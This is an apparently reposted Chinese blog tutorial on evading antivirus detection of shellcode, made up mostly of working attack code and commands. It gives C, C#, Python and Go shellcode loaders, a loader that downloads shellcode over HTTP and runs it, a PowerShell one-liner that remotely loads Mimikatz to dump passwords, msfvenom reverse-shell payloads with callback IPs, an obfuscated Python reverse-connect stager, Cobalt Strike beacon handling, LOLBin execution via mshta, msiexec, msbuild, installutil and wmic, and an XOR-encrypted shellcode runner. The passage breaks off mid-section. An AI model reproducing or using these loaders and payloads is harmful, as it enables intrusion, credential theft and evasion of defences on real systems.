那些shellcode免殺實用性技巧總結

可領全套安全課程、配套攻防靶場


那些shellcode免殺實用性技巧總結


<strong>自己還是想把一些shellcode免殺的技巧通過白話文、傻瓜式的文章把技巧講清楚。


希望更多和我一樣web狗也能動手做到免殺的實現。


文中我將shellcode免殺技巧分為 "分離“、”混淆“兩個大類,通過不同技巧針對不同檢測方式,也就是常聽到的特徵檢測、行為檢測、雲查殺。


個人能力有限,文中出現錯誤還請斧正、輕噴。


那些shellcode"分離"免殺


首先來看看關於shellcode常用得C/C++加載方式

常見方式比如函數指針執行、內聯彙編指令、偽指令等方式。


那些shellcode免殺實用性技巧總結


但是這種shellcode明顯 和執行程序在一起很容易被查殺


那些shellcode免殺實用性技巧總結

所以大多數分離免殺的思想就是把執行shellcode和加載程序分開。

來看看常見的分離加載 拿C++舉例

正常使用像 VirtualAlloc 內存操作的函數執行shellcode :

<code>#include "stdafx.h"#include "windows.h"using namespace std;int main(int argc, char **argv){    unsigned char buf[] =        "\\\\xfc\\\\xe8\\\\x82\\\\x00\\\\x00\\\\x00\\\\x60\\\\x89\\\\xe5\\\\x31\\\\xc0\\\\x64\\\\x8b\\\\x50\\\\x30"        "\\\\x8b\\\\x52\\\\x0c\\\\x8b\\\\x52\\\\x14\\\\x8b\\\\x72\\\\x28\\\\x0f\\\\xb7\\\\x4a\\\\x26\\\\x31\\\\xff"        "\\\\xac\\\\x3c\\\\x61\\\\x7c\\\\x02\\\\x2c\\\\x20\\\\xc1\\\\xcf\\\\x0d\\\\x01\\\\xc7\\\\xe2\\\\xf2\\\\x52"        "\\\\x57\\\\x8b\\\\x52\\\\x10\\\\x8b\\\\x4a\\\\x3c\\\\x8b\\\\x4c\\\\x11\\\\x78\\\\xe3\\\\x48\\\\x01\\\\xd1"        "\\\\x51\\\\x8b\\\\x59\\\\x20\\\\x01\\\\xd3\\\\x8b\\\\x49\\\\x18\\\\xe3\\\\x3a\\\\x49\\\\x8b\\\\x34\\\\x8b"        "\\\\x01\\\\xd6\\\\x31\\\\xff\\\\xac\\\\xc1\\\\xcf\\\\x0d\\\\x01\\\\xc7\\\\x38\\\\xe0\\\\x75\\\\xf6\\\\x03"        "\\\\x7d\\\\xf8\\\\x3b\\\\x7d\\\\x24\\\\x75\\\\xe4\\\\x58\\\\x8b\\\\x58\\\\x24\\\\x01\\\\xd3\\\\x66\\\\x8b"        "\\\\x0c\\\\x4b\\\\x8b\\\\x58\\\\x1c\\\\x01\\\\xd3\\\\x8b\\\\x04\\\\x8b\\\\x01\\\\xd0\\\\x89\\\\x44\\\\x24"        "\\\\x24\\\\x5b\\\\x5b\\\\x61\\\\x59\\\\x5a\\\\x51\\\\xff\\\\xe0\\\\x5f\\\\x5f\\\\x5a\\\\x8b\\\\x12\\\\xeb"        "\\\\x8d\\\\x5d\\\\x6a\\\\x01\\\\x8d\\\\x85\\\\xb2\\\\x00\\\\x00\\\\x00\\\\x50\\\\x68\\\\x31\\\\x8b\\\\x6f"        "\\\\x87\\\\xff\\\\xd5\\\\xbb\\\\xe0\\\\x1d\\\\x2a\\\\x0a\\\\x68\\\\xa6\\\\x95\\\\xbd\\\\x9d\\\\xff\\\\xd5"        "\\\\x3c\\\\x06\\\\x7c\\\\x0a\\\\x80\\\\xfb\\\\xe0\\\\x75\\\\x05\\\\xbb\\\\x47\\\\x13\\\\x72\\\\x6f\\\\x6a"        "\\\\x00\\\\x53\\\\xff\\\\xd5\\\\x63\\\\x61\\\\x6c\\\\x63\\\\x2e\\\\x65\\\\x78\\\\x65\\\\x00";    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    memcpy(exec, buf, sizeof buf);    ((void(*)())exec)();    return 0;}/<code>
那些shellcode免殺實用性技巧總結

<code>

如果要把shellcode單獨分離 我們可以通過其他當時獲取到shellcode,而不是事先講shellcode寫死在程序中。

舉例:shellcode從文本提取或從遠程下載獲取。

這裡就把shellcode通過http請求(使用winhttp api)獲取賦值到內存緩存數組,動態分配內存執行shellcode:

<code>#include "stdafx.h"#include <string>#include <iostream>#include <windows.h>#include <winhttp.h>#pragma comment(lib,"winhttp.lib")#pragma comment(lib,"user32.lib")using namespace std;void main(){    DWORD dwSize = 0;    DWORD dwDownloaded = 0;    LPSTR pszOutBuffer = NULL;    HINTERNET  hSession = NULL,        hConnect = NULL,        hRequest = NULL;    BOOL  bResults = FALSE;    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);    if (hSession)    {        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);    }    if (hConnect)    {        hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);    }    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";    SIZE_T len = lstrlenW(header);    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);    if (hRequest)    {        std::string data = "name=host&sign=xx11sad";        const void *ss = (const char *)data.c_str();        bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void>(ss), data.length(), data.length(), 0);        ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );    }    if (bResults)    {        bResults = WinHttpReceiveResponse(hRequest, NULL);    }    if (bResults)    {        do        {            // Check for available data.            dwSize = 0;            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))            {                printf("Error %u in WinHttpQueryDataAvailable.\\n", GetLastError());                break;            }            if (!dwSize)                break;            pszOutBuffer = new char[dwSize + 1];            if (!pszOutBuffer)            {                printf("Out of memory\\n");                break;            }            ZeroMemory(pszOutBuffer, dwSize + 1);            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))            {                printf("Error %u in WinHttpReadData.\\n", GetLastError());            }            else            {                printf("ok");            }            //char ShellCode[1024];            int code_length = strlen(pszOutBuffer);            char* ShellCode = (char*)calloc(code_length  /2 , sizeof(unsigned char));            for (size_t count = 0; count < code_length / 2; count++){                sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);                pszOutBuffer += 2;            }            printf("%s", ShellCode);            //strcpy(ShellCode,pszOutBuffer);            void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);            memcpy(exec, ShellCode, sizeof ShellCode);            ((void(*)())exec)();            delete[] pszOutBuffer;            if (!dwDownloaded)                break;        } while (dwSize > 0);    }    if (hRequest) WinHttpCloseHandle(hRequest);    if (hConnect) WinHttpCloseHandle(hConnect);    if (hSession) WinHttpCloseHandle(hSession);    system("pause");}/<void>/<winhttp.h>/<windows.h>/<iostream>/<string>/<code> 
那些shellcode免殺實用性技巧總結


看下查殺情況: 去除shellcode後火絨已經不殺了

那些shellcode免殺實用性技巧總結

類似這種遠程讀取中還有很多 ,類如powershell內存加載,相信各位也沒少用過

舉例:powershell遠程加載mimikatz讀取密碼

<code>powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >>c:\\1.txt/<code>


那些shellcode免殺實用性技巧總結

類似的還有很多,不過這種用得很多內存加載有些殺軟還是攔的,怎麼解決我們文後面再說


其實到這裡,用的最多的語言加載器的原理不用說也知道了,這裡還是解釋下加載器,引用我同事對加載器的解釋:

shellcode就好比一杯水,加載器就是裝水的杯子,水倒進了杯子才可以喝,shellcode被加載器裝載後才可以執行。


<strong>A)那些加載器執行shellcode:

ssi:

<code>msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txtNo encoder or badchars specified, outputting raw payloadPayload size: 341 bytesFinal size of c file: 1457 bytescat msf.txt|grep -v unsigned|sed "s/\"\\\\\\\\x//g"|sed "s/\\\\\\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\\n//g'|sed "s/;//g"fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5/<code>
那些shellcode免殺實用性技巧總結

那些shellcode免殺實用性技巧總結

shellcode_launcher:

那些shellcode免殺實用性技巧總結

c#加載:

<code>using System;using System.Runtime.InteropServices;namespace TCPMeterpreterProcess{    class Program    {        static void Main(string[] args)        {            // native function’s compiled code            // generated with metasploit            byte[] shellcode = new byte[333] {            };            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,            MEM_COMMIT, PAGE_EXECUTE_READWRITE);            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);            IntPtr hThread = IntPtr.Zero;            UInt32 threadId = 0;            // prepare data            IntPtr pinfo = IntPtr.Zero;            // execute native code            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);            WaitForSingleObject(hThread, 0xFFFFFFFF);            }                    private static UInt32 MEM_COMMIT = 0x1000;            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;            [DllImport("kernel32")]                    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);            [DllImport("kernel32")]                    private static extern bool VirtualFree(IntPtr lpAddress,            UInt32 dwSize, UInt32 dwFreeType);            [DllImport("kernel32")]                    private static extern IntPtr CreateThread(            UInt32 lpThreadAttributes,            UInt32 dwStackSize,            UInt32 lpStartAddress,            IntPtr param,            UInt32 dwCreationFlags,            ref UInt32 lpThreadId            );            [DllImport("kernel32")]                    private static extern bool CloseHandle(IntPtr handle);            [DllImport("kernel32")]                    private static extern UInt32 WaitForSingleObject(            IntPtr hHandle,            UInt32 dwMilliseconds            );            [DllImport("kernel32")]                    private static extern IntPtr GetModuleHandle(            string moduleName            );            [DllImport("kernel32")]                    private static extern UInt32 GetProcAddress(            IntPtr hModule,            string procName            );            [DllImport("kernel32")]                    private static extern UInt32 LoadLibrary(            string lpFileName            );            [DllImport("kernel32")]                    private static extern UInt32 GetLastError();      }}/<code>

py加載:

<code>import base64,sys;import ctypeswhnd = ctypes.windll.kernel32.GetConsoleWindow()if whnd != 0:    ctypes.windll.user32.ShowWindow(whnd, 0)    ctypes.windll.kernel32.CloseHandle(whnd)exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))/<code>

go內聯c加載:

<code>package mainimport "C"import "unsafe"func main() {    buf := ""    buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"    ...省略...    buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"    // at your call site, you can send the shellcode directly to the C    // function by converting it to a pointer of the correct type.    shellcode := []byte(buf)    C.call((*C.char)(unsafe.Pointer(&shellcode[0])))}/<code>

資源加載:CPLResourceRunner

<code>cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt/<code>

用Cobalt Strike 生成shellcodeAttacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)

<code>py -2 ConvertShellcode.py beacon.binShellcode written to shellcode.txt0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txtH4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJRHp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA==Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl/<code>

powershell加載(MMFml):

<code>namespace mmfExeTwo{   using System;   using System.IO.MemoryMappedFiles;   using System.Runtime.InteropServices;   class Program   {       private delegate IntPtr NewDelegate();       // To handle the location by applying the appropriate type       // We had to create a delegate to handle the the pointer to the location where we shim in the shellcode       // into the Memory Mapped File.  This allows the location of the opp code to be referenced later for execution       private unsafe static IntPtr GetShellMemAddr()       {           // 64bit shell code.  Tested on a win10 system.  Injects "cmd -k calc"           // was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell"           var shellcode = new byte[]               {                    0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,                    0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,                    0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,                    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,                    0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,                    0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,                    0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,                    0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,                    0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,                    0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,                    0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,                    0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,                    0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,                    0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,                    0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,                    0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,                    0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00               };           MemoryMappedFile mmf = null;           MemoryMappedViewAccessor viewaccessor = null;           try           {               /* The try block creates the MMF and assigns the RWE permissions               The view accessor is created with matching permissions               the shell code from GetShellMemAddr is written to MMF               then the pointer is gained and a delegate is created to handle pointer value               so that it can be passed in therms of the returned function */               mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);               viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);               viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length);               var pointer = (byte*)0;               viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);               var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate));               return func();           }           catch           {               return IntPtr.Zero;           }           finally // You should always clean up after yourself :)           {               viewaccessor.Dispose();               mmf.Dispose();           }       }       static void Main(string[] args)       {           GetShellMemAddr();       }   }}/<code>
<code>msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharpInvoke-MMFml/<code>


那些shellcode免殺實用性技巧總結

加載器就到這裡吧,加載器的實現有能力可以自己造輪子,免殺效果非常不錯的。


<strong>B)Lolbins白利用加載shellcode


除了加載器這種"杯子和水"的分離的思想,個人認為還具有"分離"免殺思想的就是Lolbins,也就是白名單。


下面例舉一些白利用,這種分離多半是因為殺行為特徵


比如你這個程序運行上下文不應該訪問某個api,這種就會被捕獲,而白利用就是繞過這種行為捕獲,而這種白利用中有的shellcode或執行文件還是會落地被查殺,這個文後部分會提到,先來看白利用。


LOLBins,全稱“Living-Off-the-Land Binaries”,直白翻譯為“生活在陸地上的二進制“,這個概念最初在2013年DerbyCon黑客大會由Christopher Campbell和Matt Graeber進行創造,最終Philip Goh提出了LOLBins這個概念。


說白了就是白利用 ,舉個例子:

DarkHydrus APT樣本

MD5:B108412F1CDC0602D82D3E6B318DC634

使用到的啟動命令:cscript.exe “C:\\Users\\Public\\Documents\\ OfficeUpdateService.vbs”

這裡就用了cscript加載vbs 添加開機啟動項,啟動腳本。

mshta:

<code>payload:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bincat shellcode.bin |base64 -w 0mshta.exe http://192.168.174.134 /qing.hta/<code>

替換模板:https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

shellcode替換位置:


那些shellcode免殺實用性技巧總結

Msiexec:

<code>msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txtC:\\Windows\\System32\\msiexec.exe /q /i http://192.168.174.134 /qing.txt加載dll:msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dllmsiexec /y C:\\qing.dll/<code>

Msbuild:

<code>C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe qing.xml/<code>

模板用三好師傅的:https://github.com/3gstudent/msbuild-inline-task


那些shellcode免殺實用性技巧總結

Installutil:

<code>編譯:C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\\Users\\John\\Desktop\\installutil.snk /unsafe C:\\Users\\John\\Desktop\\installutil.cs執行:C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe詳細:https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av//<code>

wmic:

<code>wmic os get /FORMAT:"http://example.com/evil.xsl"模板:https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl/<code>

csc:

<code>msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 ‐ f csharpC:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe /unsafe /platform:x86 /out:D:\\test\\InstallUtil-shell.exe D:\\test\\InstallUtil-ShellCode.cs/<code>

通過IInstallutil執行即可


白利用就不列舉更多了,其他一些白利用也是一個道理,那麼問題來了,前面說的白利用執行某些時候我們的shellcode生成的exe或者dll還是會落地


雖然前面說的內存加載可以解決這個問題,那假設必須落地,怎麼逃過各種檢測呢?


這就是我歸為免殺的第二個方式大類,混淆免殺


那些shellcode"混淆"免殺


shellcode是否可以像php一句話那樣混淆、加密、拆分

還是從最簡單的舉例子開始


<strong>A)shellcode編碼混淆


xor異或加密shellcode後,申請內存執行,和文開頭執行shell從的方式無區別

這裡拿C# xor為例子(ShellcodeWrapper):

<code>using System;using System.IO;using System.Collections.Generic;using System.Text;using System.Threading.Tasks;using System.Security.Cryptography;using System.Runtime.InteropServices;namespace RunShellCode{    static class Program    {        //==============================================================================        // CRYPTO FUNCTIONS        //==============================================================================        private static T[] SubArray(this T[] data, int index, int length)        {            T[] result = new T[length];            Array.Copy(data, index, result, 0, length);            return result;        }        private static byte[] xor(byte[] cipher, byte[] key) {            byte[] decrypted = new byte[cipher.Length];            for(int i = 0; i < cipher.Length; i++) {                decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]);            }            return decrypted;        }        //--------------------------------------------------------------------------------------------------        // Decrypts the given a plaintext message byte array with a given 128 bits key        // Returns the unencrypted message        //--------------------------------------------------------------------------------------------------        private static byte[] aesDecrypt(byte[] cipher, byte[] key)        {            var IV = cipher.SubArray(0, 16);            var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);            // Create an AesManaged object with the specified key and IV.            using (AesManaged aes = new AesManaged())            {                aes.Padding = PaddingMode.PKCS7;                aes.KeySize = 128;                aes.Key = key;                aes.IV = IV;                using (MemoryStream ms = new MemoryStream())                {                    using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))                    {                        cs.Write(encryptedMessage, 0, encryptedMessage.Length);                    }                    return ms.ToArray();                }            }        }        //==============================================================================        // MAIN FUNCTION        //==============================================================================        static void Main()        {            byte[] encryptedShellcode = new byte[] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 };            string key = "qing";            string cipherType = "xor";            byte[] shellcode = null;            //--------------------------------------------------------------            // Decrypt the shellcode            if (cipherType == "xor") {                shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));            }            else if (cipherType == "aes") {                shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));            }            //--------------------------------------------------------------                        // Copy decrypted shellcode to memory            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);            IntPtr hThread = IntPtr.Zero;            UInt32 threadId = 0;            // Prepare data            IntPtr pinfo = IntPtr.Zero;            // Invoke the shellcode            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);            WaitForSingleObject(hThread, 0xFFFFFFFF);            return;        }        private static UInt32 MEM_COMMIT = 0x1000;        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;        // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject        [DllImport("kernel32")]        private static extern UInt32 VirtualAlloc(            UInt32 lpStartAddr,            UInt32 size,            UInt32 flAllocationType,            UInt32 flProtect        );        [DllImport("kernel32")]        private static extern IntPtr CreateThread(            UInt32 lpThreadAttributes,            UInt32 dwStackSize,            UInt32 lpStartAddress,            IntPtr param,            UInt32 dwCreationFlags,            ref UInt32 lpThreadId        );        [DllImport("kernel32")]        private static extern UInt32 WaitForSingleObject(            IntPtr hHandle,            UInt32 dwMilliseconds        );    }}/<code>


那些shellcode免殺實用性技巧總結


那些shellcode免殺實用性技巧總結

其他語言也是一樣,比如py 異或編碼、base64、十六進制這些都是可以的

py Base64

(k8gege):

